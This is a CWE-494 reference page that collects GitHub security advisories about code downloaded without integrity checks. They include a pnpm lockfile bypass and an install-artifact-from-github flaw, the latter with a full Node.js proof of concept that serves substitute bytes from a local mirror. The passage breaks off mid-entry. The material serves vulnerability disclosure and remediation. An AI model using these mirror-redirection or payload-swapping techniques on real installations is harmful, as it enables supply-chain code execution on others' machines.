Common Weakness Enumeration

CWE-494

Allowed

Download of Code Without Integrity Check

Abstraction: Base · Status: Draft

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

403 vulnerabilities reference this CWE, most recent first.

GHSA-7RFH-X78J-CQJ5

Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-29 12:00
VLAI
Details

A remote file download issue can occur in some capabilities of Esri ArcGIS Server web services that may in some edge cases allow a remote, unauthenticated attacker to induce an unsuspecting victim to launch a process in the victim's PATH environment. Current browsers provide users with warnings against running unsigned executables downloaded from the internet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-38199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A remote file download issue can occur in some capabilities of Esri ArcGIS Server web services that may in some edge cases allow a remote, unauthenticated attacker to induce an unsuspecting victim to launch a process in the victim\u0027s PATH environment. Current browsers provide users with warnings against running unsigned executables downloaded from the internet.",
  "id": "GHSA-7rfh-x78j-cqj5",
  "modified": "2022-10-29T12:00:48Z",
  "published": "2022-10-25T19:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38199"
    },
    {
      "type": "WEB",
      "url": "https://www.esri.com/arcgis-blog/products/administration/administration/arcgis-server-security-2022-update-1-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RHP-MJCH-QQ88

Vulnerability from github – Published: 2022-04-30 18:17 – Updated: 2024-02-08 03:32
VLAI
Details

Symantec LiveUpdate before 1.6 does not use cryptography to ensure the integrity of download files, which allows remote attackers to execute arbitrary code via DNS spoofing of the update.symantec.com site.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2001-1125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2001-10-05T04:00:00Z",
    "severity": "HIGH"
  },
  "details": "Symantec LiveUpdate before 1.6 does not use cryptography to ensure the integrity of download files, which allows remote attackers to execute arbitrary code via DNS spoofing of the update.symantec.com site.",
  "id": "GHSA-7rhp-mjch-qq88",
  "modified": "2024-02-08T03:32:42Z",
  "published": "2022-04-30T18:17:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2001-1125"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/7235"
    },
    {
      "type": "WEB",
      "url": "http://www.sarc.com/avcenter/security/Content/2001.10.05.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/218717"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/3403"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7V67-49JP-7J47

Vulnerability from github – Published: 2021-12-29 00:00 – Updated: 2022-01-12 00:02
VLAI
Details

Printchaser v2.2021.804.1 and earlier versions contain a vulnerability, which could allow remote attacker to download and execute remote file by setting the argument, variable in the activeX module. This can be leveraged for code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-28T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Printchaser v2.2021.804.1 and earlier versions contain a vulnerability, which could allow remote attacker to download and execute remote file by setting the argument, variable in the activeX module. This can be leveraged for code execution.",
  "id": "GHSA-7v67-49jp-7j47",
  "modified": "2022-01-12T00:02:15Z",
  "published": "2021-12-29T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7883"
    },
    {
      "type": "WEB",
      "url": "https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36350"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7VHP-VF5G-R2FW

Vulnerability from github – Published: 2026-01-07 19:06 – Updated: 2026-01-08 20:05
VLAI
Summary
pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies
Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects: - HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz") - Git shorthand dependencies ("pkg": "github:user/repo") - Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes: - A server that returns different tarball content on each request - A malicious-package that depends on the HTTP tarball - A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

  • Targeted attacks based on request metadata (IP, headers, timing)
  • Evasion of security audits (serve benign code during review, malicious code later)
  • Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:06:59Z",
    "nvd_published_at": "2026-01-07T22:15:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nHTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.\n\n### Details\n\nWhen a package depends on an HTTP tarball URL, pnpm\u0027s tarball resolver returns only the URL without computing an integrity hash:\n\n`resolving/tarball-resolver/src/index.ts`:\n```javascript\nreturn {\n  resolution: {\n    tarball: resolvedUrl,\n    // No integrity field\n  },\n  resolvedVia: \u0027url\u0027,\n}\n```\n\nThe resulting lockfile entry has no integrity to verify:\n```yaml\nremote-dynamic-dependency@http://example.com/pkg.tgz:\n  resolution: {tarball: http://example.com/pkg.tgz}\n  version: 1.0.0\n```\n\nSince there is no integrity hash, pnpm cannot detect when the server returns different content. \n\nThis affects:\n- HTTP/HTTPS tarball URLs (`\"pkg\": \"https://example.com/pkg.tgz\"`)\n- Git shorthand dependencies (`\"pkg\": \"github:user/repo\"`)\n- Git URLs (`\"pkg\": \"git+https://github.com/user/repo\"`)\n\nnpm registry packages are not affected as they include integrity hashes from the registry metadata.\n\n### PoC\n\nSee attached [pnpm-bypass-integrity-poc.zip](https://github.com/user-attachments/files/23819648/pnpm-bypass-integrity-poc.zip)\n\nThe POC includes:\n- A server that returns different tarball content on each request\n- A `malicious-package` that depends on the HTTP tarball\n- A `victim` project that depends on `malicious-package`\n\nTo run:\n```bash\ncd pnpm-bypass-integrity-poc\n./run-poc.sh\n```\n\nThe output shows that each install (with `pnpm store prune` between them) downloads different code despite having a committed lockfile.\n\n### Impact\n\nAn attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:\n\n- Targeted attacks based on request metadata (IP, headers, timing)\n- Evasion of security audits (serve benign code during review, malicious code later)\n- Supply chain attacks where the malicious payload changes over time\n\nThe attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim\u0027s lockfile provides no protection.",
  "id": "GHSA-7vhp-vf5g-r2fw",
  "modified": "2026-01-08T20:05:32Z",
  "published": "2026-01-07T19:06:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies"
}

GHSA-83QF-H326-J5PM

Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:33
VLAI
Details

The PrinterLogic Print Management software, versions up to and including 18.3.1.96, updates and executes the code without sufficiently verifying the origin and integrity of the code. An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-5409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-08T15:30:00Z",
    "severity": "CRITICAL"
  },
  "details": "The PrinterLogic Print Management software, versions up to and including 18.3.1.96, updates and executes the code without sufficiently verifying the origin and integrity of the code. An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",
  "id": "GHSA-83qf-h326-j5pm",
  "modified": "2024-04-04T00:33:13Z",
  "published": "2022-05-24T16:45:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5409"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/169249"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108285"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-83QX-28GX-PCX4

Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37
VLAI
Details

A vulnerability in the upgrade process of Cisco Spark Board could allow an authenticated, local attacker to install an unverified upgrade package, aka Signature Verification Bypass. The vulnerability is due to insufficient upgrade package validation. An attacker could exploit this vulnerability by providing the upgrade process with an upgrade package that the attacker controls. An exploit could allow the attacker to install custom firmware to the Spark Board. Cisco Bug IDs: CSCvf84502.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-12306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-16T07:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the upgrade process of Cisco Spark Board could allow an authenticated, local attacker to install an unverified upgrade package, aka Signature Verification Bypass. The vulnerability is due to insufficient upgrade package validation. An attacker could exploit this vulnerability by providing the upgrade process with an upgrade package that the attacker controls. An exploit could allow the attacker to install custom firmware to the Spark Board. Cisco Bug IDs: CSCvf84502.",
  "id": "GHSA-83qx-28gx-pcx4",
  "modified": "2022-05-13T01:37:54Z",
  "published": "2022-05-13T01:37:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12306"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171115-spark"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101914"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-85X5-VR9Q-4M59

Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-01-01 00:30
VLAI
Details

A remote code execution vulnerability exists in Microsoft SharePoint where APIs aren't properly protected from unsafe data input, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-1200, CVE-2020-1210, CVE-2020-1452, CVE-2020-1453, CVE-2020-1576.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-11T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A remote code execution vulnerability exists in Microsoft SharePoint where APIs aren\u0027t properly protected from unsafe data input, aka \u0027Microsoft SharePoint Remote Code Execution Vulnerability\u0027. This CVE ID is unique from CVE-2020-1200, CVE-2020-1210, CVE-2020-1452, CVE-2020-1453, CVE-2020-1576.",
  "id": "GHSA-85x5-vr9q-4m59",
  "modified": "2024-01-01T00:30:42Z",
  "published": "2022-05-24T17:28:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1595"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1595"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-88Q3-GCH3-5396

Vulnerability from github – Published: 2026-11-18 21:17 – Updated: 2026-11-18 21:17
VLAI
Summary
install-artifact-from-github loads downloaded native artifacts without integrity verification
Details

Description

bin/install-from-cache.js downloads a prebuilt native addon (*.node) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for createHash|sha256|checksum|integrity|digest|signature finds nothing. The file is then require()-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.

Affected code (v1.6.0)

  • Mirror is fully attacker-steerable via an env var, no host pinning — bin/install-from-cache.js:80: js let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com'; re2 passes --host-var RE2_DOWNLOAD_MIRROR, so setting RE2_DOWNLOAD_MIRROR (CI config, .npmrc/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.

  • The write sink is a bare writeFile, no verification — bin/install-from-cache.js:185-187: js const write = async (name, data) => { await fsp.mkdir(path.dirname(name), {recursive: true}); await fsp.writeFile(name, data); // `data` is the raw HTTP response body };

  • Cleartext transfer + silent protocol downgrade on redirect — bin/install-from-cache.js:155,165: js const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported ... get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url An https:// asset that 302-redirects to http:// is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.

The post-download "verification" is not an integrity gate

isVerified() optionally runs npm run verify-build / npm test after writing the file. For re2, scripts/verify-build.js require()s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any npm_config_platform* env var is set (:120-122).

Proof of concept

A self-contained, non-malicious PoC (poc.js) proves the missing-integrity property against the real install-from-cache, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs install-from-cache with RE2_DOWNLOAD_MIRROR pointed at it, and shows the served bytes are written verbatim to build/Release/re2.node:

npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js
attacker mirror (plaintext http) on 127.0.0.1:PORT
  [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served   sha256: ec6fdde6...4ebc
written  sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them

The install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real .node executes on require() (NAPI/NODE_MODULE init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)

Attack scenarios (any one suffices)

  • Attacker-configured or later-compromised RE2_DOWNLOAD_MIRROR.
  • Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.
  • On-path attacker where a plaintext (http://) mirror or an https→http redirect is in play.

Suggested fix

  1. Publish per-release SHASUMS256.txt (or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the model prebuild-install already uses.)
  2. Reject http:// asset URLs and https→http redirect downgrades; pin scheme across redirects; cap redirect count/hosts.
  3. Document that verify-build/test run after load and cannot gate integrity.

PoC

poc.js:

// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.
//
// Run:  IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
//       (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');

const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');

const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
  name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
  scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));

const server = http.createServer((req, res) => {
  process.stdout.write(`  [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
  res.writeHead(200, { 'content-type': 'application/octet-stream' });
  res.end(SENTINEL);
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;
  console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
  const child = spawn('node', [IAFG,
    '--artifact', 'build/Release/re2.node',
    '--host-var', 'RE2_DOWNLOAD_MIRROR',
    '--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
    '--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
    cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
    env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
      npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
      npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
  });
  child.on('exit', (code) => {
    server.close();
    console.log('install-from-cache exit:', code);
    const artifact = path.join(work, 'build/Release/re2.node');
    if (fs.existsSync(artifact)) {
      const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
      console.log('served   sha256:', servedSha);
      console.log('written  sha256:', writtenSha);
      console.log(servedSha === writtenSha
        ? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
        : '✗ sha mismatch');
    } else {
      console.log('✗ artifact not written (check IAFG_BIN path)');
    }
    fs.rmSync(work, { recursive: true, force: true });
  });
});

Patches

Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an artifactHashes map (slot → sha256:<hex> of the decompressed binary) in its own package.json — immutable once on npm, stamped at publish time by the new hash-github-cache --write bin (e.g. wired as prepublishOnly). install-from-cache now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default github.com source — an explicitly configured mirror (--host / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an https→http transport downgrade on the default path is also defeated by content verification.

Note: verification activates only when the consuming package ships an artifactHashes bag; packages without one behave as before (backward-compatible, zero-config default). node-re2 >= 1.26.0 publishes a stamped bag.

Workarounds

On <= 1.6.0: skip downloading entirely and build from source via the documented dev short-circuit (DEVELOPMENT_SKIP_GETTING_ASSET env var, or a .development file). 1.7.0 adds first-class --force-build / DOWNLOAD_FORCE_BUILD for the same effect. In all versions, never point a mirror variable (e.g. RE2_DOWNLOAD_MIRROR) at a host you do not fully control.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "install-artifact-from-github"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-18T21:17:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Description\n\n`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** \u2014 no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon\u0027s native module-init code. Anyone able to influence the download achieves code execution on the installing machine.\n\n### Affected code (v1.6.0)\n\n- **Mirror is fully attacker-steerable via an env var, no host pinning** \u2014 `bin/install-from-cache.js:80`:\n  ```js\n  let assetUrl = mirrorHost || process.env[mirrorEnvVar] || \u0027https://github.com\u0027;\n  ```\n  `re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.\n\n- **The write sink is a bare `writeFile`, no verification** \u2014 `bin/install-from-cache.js:185-187`:\n  ```js\n  const write = async (name, data) =\u003e {\n    await fsp.mkdir(path.dirname(name), {recursive: true});\n    await fsp.writeFile(name, data);   // `data` is the raw HTTP response body\n  };\n  ```\n\n- **Cleartext transfer + silent protocol downgrade on redirect** \u2014 `bin/install-from-cache.js:155,165`:\n  ```js\n  const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null;   // http:// supported\n  ...\n  get(res.headers.location).then(resolve, reject);   // re-derives protocol from the NEW url\n  ```\n  An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.\n\n### The post-download \"verification\" is not an integrity gate\n\n`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line \u2014 i.e. the downloaded addon\u0027s native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).\n\n## Proof of concept\n\nA self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP \"mirror\" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`:\n\n```\nnpm i install-artifact-from-github\nIAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js\n```\n```\nattacker mirror (plaintext http) on 127.0.0.1:PORT\n  [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137\nWriting to build/Release/re2.node ... Done.\ninstall-from-cache exit: 0\nserved   sha256: ec6fdde6...4ebc\nwritten  sha256: ec6fdde6...4ebc\n\u2713 attacker bytes written VERBATIM to build/Release/re2.node \u2014 NO integrity check rejected them\n```\n\nThe install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)\n\n## Attack scenarios (any one suffices)\n- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.\n- Tampered GitHub release / compromised maintainer account \u2014 no checksum detects a swapped asset, even over HTTPS.\n- On-path attacker where a plaintext (`http://`) mirror or an `https\u2192http` redirect is in play.\n\n## Suggested fix\n1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download\u0027s SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)\n2. Reject `http://` asset URLs and `https\u2192http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.\n3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.\n\n## PoC\n**poc.js:**\n\n```js\n// PoC \u2014 install-artifact-from-github writes a network-downloaded artifact to disk with NO\n// integrity verification, from an env-controlled mirror, over plaintext HTTP.\n//\n// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node\n// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a\n// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.\n// Because a .node artifact is dlopen()\u0027d on require (running its module-init native code), an\n// attacker who substitutes it \u2014 via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered\n// GitHub release, or an on-path MITM on the plaintext path \u2014 achieves code execution.\n//\n// Run:  IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js\n//       (defaults to require.resolve if install-artifact-from-github is installed nearby)\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst { spawn } = require(\u0027child_process\u0027);\n\nconst IAFG = process.env.IAFG_BIN || require.resolve(\u0027install-artifact-from-github/bin/install-from-cache.js\u0027);\nconst SENTINEL = Buffer.from(\u0027ATTACKER-CONTROLLED-ARTIFACT-BYTES-\u0027 + \u0027A\u0027.repeat(2048)); // stand-in for a malicious .node\nconst servedSha = crypto.createHash(\u0027sha256\u0027).update(SENTINEL).digest(\u0027hex\u0027);\n\nconst work = fs.mkdtempSync(path.join(os.tmpdir(), \u0027iafg-poc-\u0027));\nfs.writeFileSync(path.join(work, \u0027package.json\u0027), JSON.stringify({\n  name: \u0027re2\u0027, version: \u00271.24.1\u0027, repository: { type: \u0027git\u0027, url: \u0027https://github.com/uhop/node-re2.git\u0027 },\n  scripts: { \u0027verify-build\u0027: \u0027node -e \"process.exit(0)\"\u0027 } // trivial pass; the WRITE happened before this\n}));\n\nconst server = http.createServer((req, res) =\u003e {\n  process.stdout.write(`  [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\\n`);\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 });\n  res.end(SENTINEL);\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n  const port = server.address().port;\n  console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);\n  const child = spawn(\u0027node\u0027, [IAFG,\n    \u0027--artifact\u0027, \u0027build/Release/re2.node\u0027,\n    \u0027--host-var\u0027, \u0027RE2_DOWNLOAD_MIRROR\u0027,\n    \u0027--skip-path-var\u0027, \u0027RE2_DOWNLOAD_SKIP_PATH\u0027,\n    \u0027--skip-ver-var\u0027, \u0027RE2_DOWNLOAD_SKIP_VER\u0027], {\n    cwd: work, stdio: [\u0027ignore\u0027, \u0027inherit\u0027, \u0027ignore\u0027],\n    env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,\n      npm_package_version: \u00271.24.1\u0027, npm_package_github: \u0027https://github.com/uhop/node-re2\u0027,\n      npm_package_scripts_verify_build: \u0027node -e \"process.exit(0)\"\u0027 }\n  });\n  child.on(\u0027exit\u0027, (code) =\u003e {\n    server.close();\n    console.log(\u0027install-from-cache exit:\u0027, code);\n    const artifact = path.join(work, \u0027build/Release/re2.node\u0027);\n    if (fs.existsSync(artifact)) {\n      const writtenSha = crypto.createHash(\u0027sha256\u0027).update(fs.readFileSync(artifact)).digest(\u0027hex\u0027);\n      console.log(\u0027served   sha256:\u0027, servedSha);\n      console.log(\u0027written  sha256:\u0027, writtenSha);\n      console.log(servedSha === writtenSha\n        ? \u0027\u2713 attacker bytes written VERBATIM to build/Release/re2.node \u2014 NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().\u0027\n        : \u0027\u2717 sha mismatch\u0027);\n    } else {\n      